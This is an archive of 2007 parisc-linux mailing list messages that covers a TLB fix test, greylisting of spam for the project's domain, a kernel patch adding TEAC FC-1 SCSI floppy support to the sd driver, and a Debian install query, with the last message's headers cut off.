X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZyzfcaBcTiEt/ayUaGRwCQ91ZUVSRBdm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24424

James,

> Based on the theory, I managed to reproduce the problem on ioz (you just
> have to increase N to be much greater than the number of CPUs you have)
> and tried a little fix, which seems to work for ioz.  Could you try this
> out on your a500?

I tried the change on my c3750.  It's survived four full GCC builds
and checks with no hung process in the libjava testsuite.  While this
might have happened before, the probability of this happening was low.
So, I think this change is a good one ;)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] greylisting test
Date: Sat, 3 Mar 2007 20:46:17 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20070304014617.GC5887__11773.9927758977$1416624321$gmane$org@athena.road.mcmartin.ca>
References: <200703040056.l240uHPo004299@hiauly1.hia.nrc.ca>
	<45EA2388.5010403@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624321 23409 80.91.229.3 (22 Nov 2014 02:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Gaffney <agaffney@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2007 01:47:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 04 Mar 2007 02:47:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F7877DA55;
	Sat,  3 Mar 2007 18:46:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17566-03; Sat, 3 Mar 2007 18:46:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 144D27DA58;
	Sat,  3 Mar 2007 18:46:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BF577DA53
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Mar 2007 18:46:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17262-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Mar 2007 18:46:52 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id B30E47DA51
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Mar 2007 18:46:52 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id BBD575840C6;
	Sat,  3 Mar 2007 20:46:51 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2B9F45840C5;
	Sat,  3 Mar 2007 20:46:51 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id CB6A2837DC;
	Sat,  3 Mar 2007 20:46:50 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 8F31C3B06E; Sat,  3 Mar 2007 20:46:17 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <45EA2388.5010403@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QWGgApx8a2A75rvDOHQy3r0yOWhhagcT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24425

On Sat, Mar 03, 2007 at 07:40:24PM -0600, Andrew Gaffney wrote:
> John David Anglin wrote:
> >>On 3/1/07, Kyle McMartin <kyle@mcmartin.ca> wrote:
> >>>On Thu, Mar 01, 2007 at 10:38:13AM -0500, Kyle McMartin wrote:
> >>>>let's see if this works...
> >>>>
> >>>X-Greylist: delayed 514 seconds by postgrey-1.27 at palinux; Thu, 01 Mar 
> >>>2007
> >>>08:49:49 MST
> >>>
> >>>Ok. Let's hope this cuts down some of the spam to @parisc-linux.org
> >>>even more...
> >>Thanks dude!
> >
> >The downside is increased delay and probability of messages
> >being lost.  The company that I do most of my work for hasn't
> >been very happy with its mail service provider.  It uses
> >greylisting.  On the otherhand, it may work better for a list.
> 
> Does this list get a lot of spam? I've only been subscribed to it for a 
> about a month, but I haven't seen any at all. Is my SA setup just that good?
> 

the list isn't effected because it's not hosted on palinux. this effects
*@parisc-linux.org, which, for me at least, receives way too much spam.

the list gets no spam these days because non-subscriber messages are silently
queued (silently, because people tend to whine about it.)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] sd: Adds flexible disk (TEAC FC-1,
 scsi-floppy) support to scsi disk driver
Date: Mon, 05 Mar 2007 17:17:38 -0500
Organization: Scientific Research Corporation
Lines: 259
Approved: news@gmane.org
Message-ID: <45EC9702.9080107__5039.50958741388$1416624321$gmane$org@scires.com>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624321 23411 80.91.229.3 (22 Nov 2014 02:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Mar 2007 22:18:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 05 Mar 2007 23:18:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1F0D7D640;
	Mon,  5 Mar 2007 15:18:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23347-09; Mon, 5 Mar 2007 15:18:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8473A7D64C;
	Mon,  5 Mar 2007 15:18:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A0E87D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Mar 2007 15:18:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23347-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Mar 2007 15:18:19 -0700 (MST)
Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 7970B7D627
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Mar 2007 15:18:19 -0700 (MST)
Original-Received: from [127.0.0.1] (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Mon, 05 Mar 2007 17:18:10 -0500
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
In-Reply-To: <20070208173808.GL13101@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Aq/aDJlcQEVsv+jDZnVptIlKNzg2NULk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24426

All:

I've just merged my flexible disk changes (see thread link below) into the
latest scsi disk driver source.  These changes add scsi-floppy disk support
(particularly HP's revs of the TEAC FC-1 drive) to the scsi disk driver.  Per
Matthew's suggestion, I'm cowardly posting here first to get some feedback,
rather than posting straight to linux-scsi.  BTW, I will also provide a patch
for Debian Sarge, if anyone out there is interested in that too.  My patch
submittal email is appended below.

James

http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031188.html

---

This patch adds flexible disk support for the TEAC FC-1 scsi-floppy drive to the
scsi disk driver (sd.c).  OEM versions (FD-235HS715, etc.) of the FC-1 are
prevalent in older HP parisc workstations.  This patch may also allow similar
scsi-floppy drives to work on other platforms, but I have not tested this on
anything other than HP OEM TEAC FC-1 drives.

Signed-off-by: James K. Love <jlove@scires.com>

---

This patch is essentially a port of the MACH scsi driver's flexible disk bits to
the latest 2.6 linux kernel, which provides rudimentary scsi-floppy support for
drives in older HP parisc workstations.  The changes have been tested with the
TEAC FC-1 on several older HP parisc boxes (models 715 & 755).  Some userspace
floppy apps may also need to be made scsi-floppy aware.  For instance, fdformat
is broken.  I'm using udev to create a sym-link between the scsi device and fd0.
 With the link in place, the mtools functions work well and mformat can be used
to msdos format scsi floppies.  This diff was created against the latest in the
parisc-2.6 git tree (2.6.20) and was also tested against Linus' latest linux-2.6
git tree (2.6.21-rc2).

---

--- ./drivers/scsi/sd.orig	2007-02-25 22:46:56.000000000 -0500
+++ ./drivers/scsi/sd.c	2007-03-04 21:26:00.000000000 -0500
@@ -49,6 +49,7 @@
 #include <linux/delay.h>
 #include <linux/mutex.h>
 #include <asm/uaccess.h>
+#include <asm/byteorder.h>

 #include <scsi/scsi.h>
 #include <scsi/scsi_cmnd.h>
@@ -275,6 +276,79 @@ static struct scsi_driver sd_template =
 	.issue_flush		= sd_issue_flush,
 };

+/* store the scsi-floppy geometry info */
+static unsigned int sf_heads=0, sf_sectors=0, sf_cylinders=0;
+
+/*
+ * This struct was taken directly from the MACH micro-kernel scsi
+ * driver source with only minor modification.
+ * Page 5 - flexible disk drive geometry page structure.
+ */
+typedef struct {
+#ifdef __BIG_ENDIAN_BITFIELD
+	unsigned char   ps        : 1;
+	unsigned char   reserved1 : 1;
+	unsigned char   page_code : 6;
+#else
+	unsigned char   page_code : 6;
+	unsigned char   reserved1 : 1;
+	unsigned char   ps        : 1;
+#endif
+	unsigned char   page_length;
+	unsigned char   transfer_rate_msb;
+	unsigned char   transfer_rate_lsb;
+	unsigned char   number_of_heads;
+	unsigned char   sectors_per_track;
+	unsigned char   bytes_per_sector_msb;
+	unsigned char   bytes_per_sector_lsb;
+	unsigned char   number_of_cylinders_msb;
+	unsigned char   number_of_cylinders_lsb;
+	unsigned char   starting_cyl_wpc_msb;
+	unsigned char   starting_cyl_wpc_lsb;
+	unsigned char   starting_cyl_rwc_msb;
+	unsigned char   starting_cyl_rwc_lsb;
+	unsigned char   drive_step_rate_msb;
+	unsigned char   drive_step_rate_lsb;
+	unsigned char   drive_step_pule_width;
+	unsigned char   head_settle_delay_msb;
+	unsigned char   head_settle_delay_lsb;
+	unsigned char   motor_on_delay;
+	unsigned char   motor_off_delay;
+#ifdef __BIG_ENDIAN_BITFIELD
+	unsigned char   true_rdy            : 1;
+	unsigned char   start_sector_number : 1;
+	unsigned char   motor_on            : 1;
+	unsigned char   reserved2           : 5;
+	unsigned char   reserved3           : 4;
+	unsigned char   step_pulse_per_cyl  : 4;
+#else
+	unsigned char   reserved2           : 5;
+	unsigned char   motor_on            : 1;
+	unsigned char   start_sector_number : 1;
+	unsigned char   true_rdy            : 1;
+	unsigned char   step_pulse_per_cyl  : 4;
+	unsigned char   reserved3           : 4;
+#endif
+	unsigned char   write_precomp_value;
+	unsigned char   head_load_delay;
+	unsigned char   head_unload_delay;
+#ifdef __BIG_ENDIAN_BITFIELD
+	unsigned char   pin_34              : 4;
+	unsigned char   pin_2               : 4;
+	unsigned char   pin_4               : 4;
+	unsigned char   pin_1               : 4;
+#else
+	unsigned char   pin_2               : 4;
+	unsigned char   pin_34              : 4;
+	unsigned char   pin_1               : 4;
+	unsigned char   pin_4               : 4;
+#endif
+	unsigned char   reserved4;
+	unsigned char   reserved5;
+	unsigned char   reserved6;
+	unsigned char   reserved7;
+} scsi_mode_sense_page5_t  __attribute__ ((packed));
+
 /*
  * Device no to disk mapping:
  *
@@ -642,6 +716,14 @@ static int sd_getgeo(struct block_device
 	struct Scsi_Host *host = sdp->host;
 	int diskinfo[4];

+	/* If this is a scsi floppy */
+	if (sdp->removable && (sdp->type != TYPE_MOD)) {
+		geo->heads = sf_heads;
+		geo->sectors = sf_sectors;
+		geo->cylinders = sf_cylinders;
+		return 0;
+	}
+
 	/* default to most commonly used values */
         diskinfo[0] = 0x40;	/* 1 << 6 */
        	diskinfo[1] = 0x20;	/* 1 << 5 */
@@ -1011,12 +1093,21 @@ static int media_not_present(struct scsi

 	if (!scsi_sense_valid(sshdr))
 		return 0;
-	/* not invoked for commands that could return deferred errors */
-	if (sshdr->sense_key != NOT_READY &&
-	    sshdr->sense_key != UNIT_ATTENTION)
-		return 0;
-	if (sshdr->asc != 0x3A) /* medium not present */
-		return 0;
+
+	/* If this is a scsi floppy */
+	if (sdkp->device->removable && (sdkp->device->type != TYPE_MOD)) {
+		if ((sshdr->sense_key != NOT_READY)
+		    && (sshdr->asc != 0x4)) {	/* no scsi-floppy media */
+			return 0;
+		}
+	} else {
+		/* not invoked for commands that could return deferred errors */
+		if (sshdr->sense_key != NOT_READY &&
+		    sshdr->sense_key != UNIT_ATTENTION)
+			return 0;
+		if (sshdr->asc != 0x3A) /* medium not present */
+			return 0;
+	}

 	set_media_not_present(sdkp);
 	return 1;
@@ -1535,6 +1626,11 @@ static int sd_revalidate_disk(struct gen
 	struct scsi_device *sdp = sdkp->device;
 	unsigned char *buffer;
 	unsigned ordered;
+	char mode_buf[0xFF];
+	scsi_mode_sense_page5_t* page5 = NULL;
+	struct scsi_mode_data data;
+	int length = 0;
+	int res = 0;

 	SCSI_LOG_HLQUEUE(3, printk("sd_revalidate_disk: disk=%s\n", disk->disk_name));

@@ -1563,6 +1659,66 @@ static int sd_revalidate_disk(struct gen
 	sd_spinup_disk(sdkp, disk->disk_name);

 	/*
+	 * Assuming here that this check will suffice for ID'ing a scsi floppy.
+	 * Note that sd_spinup_disk sets media_present above.
+	 */
+	if (sdp->removable && (sdp->type != TYPE_MOD)
+	                   && sdkp->media_present) {
+		memset(&data, 0, sizeof(data));
+		memset(&mode_buf, 0, sizeof(mode_buf));
+
+		/* request the page 5 'flexible' sense data */
+		res = sd_do_mode_sense(sdp, 0, 5, mode_buf, 0xFF, &data, NULL);
+
+		if (!scsi_status_is_good(res)) {
+			printk(KERN_WARNING "(sd_revalidate_disk:) Flexible disk mode"
+			       " sense failure.\n");
+			goto out;
+		}
+
+		length = data.length - data.header_length - data.block_descriptor_length;
+		page5 = (scsi_mode_sense_page5_t *)(mode_buf + data.header_length
+		                                             + data.block_descriptor_length);
+
+		/* set sector size to 512 bytes, double-density media */
+		data.medium_type = 2;
+		data.device_specific &= ~0x90;
+		data.block_descriptor_length = 0;
+
+		page5->ps = 0;
+		page5->page_code &= ~0x80;
+		page5->sectors_per_track = page5->sectors_per_track *
+		                           (page5->bytes_per_sector_msb << 8 |
+		                           page5->bytes_per_sector_lsb) / 512;
+
+		page5->bytes_per_sector_msb = 2;
+		page5->bytes_per_sector_lsb = 0;
+
+		/* mode select to set geometry */
+                if (scsi_mode_select(sdp, 1, 0, 5, (char *)page5, length,
+		                     SD_TIMEOUT, SD_MAX_RETRIES, &data, NULL)) {
+			printk(KERN_WARNING "(sd_revalidate_disk:) Flexible disk mode"
+			       " select failure.\n");
+			goto out;
+		}
+
+		/* read newly selected Page 5 sense data */
+		res = sd_do_mode_sense(sdp, 0, 5, mode_buf, 0xFF, &data, NULL);
+
+		if (!scsi_status_is_good(res)) {
+			printk(KERN_WARNING "(sd_revalidate_disk:) Flexible disk mode"
+			       " sense failure.\n");
+			goto out;
+		}
+
+		/* store the drive's geometry info we just read */
+		sf_heads = page5->number_of_heads;
+		sf_sectors = page5->sectors_per_track;
+		sf_cylinders = page5->number_of_cylinders_msb << 8
+		               | page5->number_of_cylinders_lsb;
+	}
+
+	/*
 	 * Without media there is no reason to ask; moreover, some devices
 	 * react badly if we do.
 	 */


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: problem installing Debian on HP R class 9000
Date: Wed, 7 Mar 2007 18:08:58 +0530
Lines: 48
Approved: news@gmane.org
Message-ID: <b74751490703070438n719df933pa5b88d64b0b0fa71__33101.3749041178$1416624321$gmane$org@mail.gmail.com>
References: <b74751490702220323o3b3d78a9u14b024a75341c986@mail.gmail.com>
	<b74751490702260642i4b1a2538rd384e280e0a24622@mail.gmail.com>
	<20070226165018.GB30763@colo.lackof.org>
	<b74751490702260950i6ed5ef98g219297ad504672fb@mail.gmail.com>
	<20070227013603.GA7420@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1092467308=="
X-Trace: ger.gmane.org 1416624321 23415 80.91.229.3 (22 Nov 2014 02:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Mar 2007 12:39:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 07 Mar 2007 13:39:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 921A07DA89;
	Wed,  7 Mar 2007 05:39:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04839-09; Wed, 7 Mar 2007 05:39:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AF6A7DA8A;
	Wed,  7 Mar 2007 05:39:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B0567DA88
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Mar 2007 05:39:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04831-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Mar 2007 05:39:01 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by free.linux.hp.com (Postfix) with ESMTP id 64A537DA86
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Mar 2007 05:39:01 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so591096ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 07 Mar 2007 04:38:59 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=DSjJtyQc6Wumi4S+VljjuyCpWf7LJrz5sqfQFIx+5wgWG4A5GwaUMFNPlbvIJ2zjSiZu3UqyoeAwJ6xBqMi1E4h1Oz+vytvuNcag+DJMi8ugXapMYDB/GDJ/KOkirVl8EyiMpElx3qSuvknuiZWrtRC/d8NtjWGOHM85l4qL1J4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=LaZTSPYuElXpqVoudogdp7QCqgz3cIvirt0d+NJS34bDThj9M+WOOyo9e5xjjyzWLVNvwD9MbdBfKIsQbEoO+HqDsbXPef3jllrr9+Vh3c6L5T16FMQfAMiLxxErDjclxWMK36z2oF6dLEE7vUC4FXSu0mQfXebiKioY5+kx6KA=
Original-Received: by 10.115.77.1 with SMTP id e1mr2148823wal.1173271138487;
	Wed, 07 Mar 2007 04:38:58 -0800 (PST)
Original-Received: by 10.115.76.4 with HTTP; Wed, 7 Mar 2007 04:38:58 -0800 (PST)
In-Reply-To: <20070227013603.GA7420@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G9+MEZY7bXBt87qHPTQ2I2MqLyUmZUh2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24427

--===============1092467308==
Content-Type: multipart/alternative; 
	boundary="----=_Part_200725_29341445.1173271138106"

------=_Part_200725_29341445.1173271138106
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi


all any update on this issue

just check if any test i can do help to sort of the problem

ram

------=_Part_200725_29341445.1173271138106
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br><br>
<div><span class="gmail_quote">Hi </span></div>
<div><span class="gmail_quote"></span>&nbsp;</div>
<div><span class="gmail_quote"></span>&nbsp;</div>
<div><span class="gmail_quote">all any update on this issue</span></div>
<div><span class="gmail_quote"></span>&nbsp;</div>
<div><span class="gmail_quote">just check if any test i can do help to sort of the problem</span></div>
<div><span class="gmail_quote"></span>&nbsp;</div>
<div><span class="gmail_quote">ram</span></div>

------=_Part_200725_29341445.1173271138106--

--===============1092467308==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1092467308==--



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Tue, 6 Mar 2007 19:43:40 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200703070043.l270hfAt001079__2470.15706631846$1416624322$gmane$org@hiauly1.hia.nrc.ca>
References: <200702252119.l1PLJTk7014385@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624322 23416 80.91.229.3 (22 Nov 2014 02:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:22 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
